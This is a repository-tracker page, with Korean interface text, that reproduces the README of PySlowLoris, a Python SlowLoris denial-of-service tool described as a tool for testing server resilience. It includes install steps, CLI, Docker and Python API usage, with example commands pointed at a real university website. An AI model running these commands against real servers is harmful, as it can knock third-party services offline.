maxkrivich/SlowLoris
maxkrivich/SlowLoris has 114 GitHub stars and 37 forks. GitHot measured 0 stars in 24 hours, 0 in 7 days, and 0 in 15 days. Last checked 2026-11-13 01:09 UTC. Last push 2026-07-17.
측정된 스타 증가
- in 24h
- 0
- in 7 days
- 0
- in 15 days
- 0
- in 1 month
- 업데이트 지연
서로 겹치는 기간의 순증가량이며 일별 합계가 아닙니다. 측정값이 없으면 비워 둡니다. 스타는 관심도를 나타내며 품질을 보장하지 않습니다.
소개
Asynchronous Python implementation of SlowLoris DoS attack
보안README.md
OriginalPySlowLoris
PySlowLoris is a tool for testing if your web server is vulnerable to slow-requests kind of attacks. The module is based on python-trio for Asynchronous I/O and poetry for dependency management. The idea behind this approach to create as many connections with a server as possible and keep them alive and send trash headers through the connection. Please DO NOT use this in the real attacks on the servers.
More information about the attack you can find here.
Installation
PyPi
For installation through the PyPI:
$ pip install pyslowloris==2.0.1
This method is prefered for installation of the most recent stable release.
Source-code
For installation through the source-code for local development:
$ git clone https://github.com/[username]/SlowLoris.git
$ cd SlowLoris
$ pip install poetry
$ pyenv install 3.8.3
$ pyenv local 3.8.3
$ poetry env use 3.8.3
Basic Usage
Available command list:
$ slowloris --help
usage: slowloris [-h] -u URL [-c CONNECTION_COUNT] [-s]
Asynchronous Python implementation of SlowLoris attack
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL Link to a web server (http://google.com) - str
-c CONNECTION_COUNT, --connection-count CONNECTION_COUNT
Count of active connections (default value is 247) - int
-s, --silent Ignore all of the errors [pure attack mode] - bool
Docker usage
Download image from Docker Hub
Pull the image from Docker Hub and run a container:
$ docker pull maxkrivich/pyslowloris
$ docker run --rm -it maxkrivich/pyslowloris [-h] [-u URL] [-c CONNECTION_COUNT] [-s SILENT]
Build image from source-code
Also you can build image from Dockerfile and run a container:
$ docker build -t pyslowloris .
$ docker run --rm -it pyslowloris [-h] [-u URL] [-c CONNECTION_COUNT] [-s SILENT]
Note: Don't forget about 'sudo'!
Example of usage
How to use module through Python API
Here is an example of usage
from pyslowloris import HostAddress, SlowLorisAttack
url = HostAddress.from_url("http://kpi.ua")
connections_count = 100
loris = SlowLorisAttack(url, connections_count, silent=True)
loris.start()
How to use module via CLI
The following command helps to use module from command line
$ slowloris -u http://kpi.ua/ -c 100 -s
stop execution: Ctrl + C
Testing
Testing with real apache server
$ docker-compose up web_server -d
$ .....
Module-tests
$ make pytest
Bugs, issues and contributing
If you find bugs or have suggestions about improving the module, don't hesitate to contact me.
License
This project is licensed under the MIT License - see the LICENSE file for details
Copyright (c) 2017-2020 Maxim Krivich
관련 프로젝트 살펴보기
trimstray/the-book-of-secret-knowledge
영감을 주는 목록, 매뉴얼, 치트시트, 블로그, 팁, 원라이너, CLI/웹 도구 등을 모은 컬렉션.
258,192 스타Hack-with-Github/Awesome-Hacking
해커, 펜테스터, 보안 연구자를 위한 다양한 Awesome 목록 모음.
125,428 스타swisskyrepo/PayloadsAllTheThings
웹 애플리케이션 보안과 모의 침투 테스트/CTF에 유용한 페이로드 및 우회 방법 목록.
82,654 스타caddyserver/caddy
빠르고 확장 가능한 멀티플랫폼 HTTP/1-2-3 웹 서버이며, 자동 HTTPS를 지원합니다
79,041 스타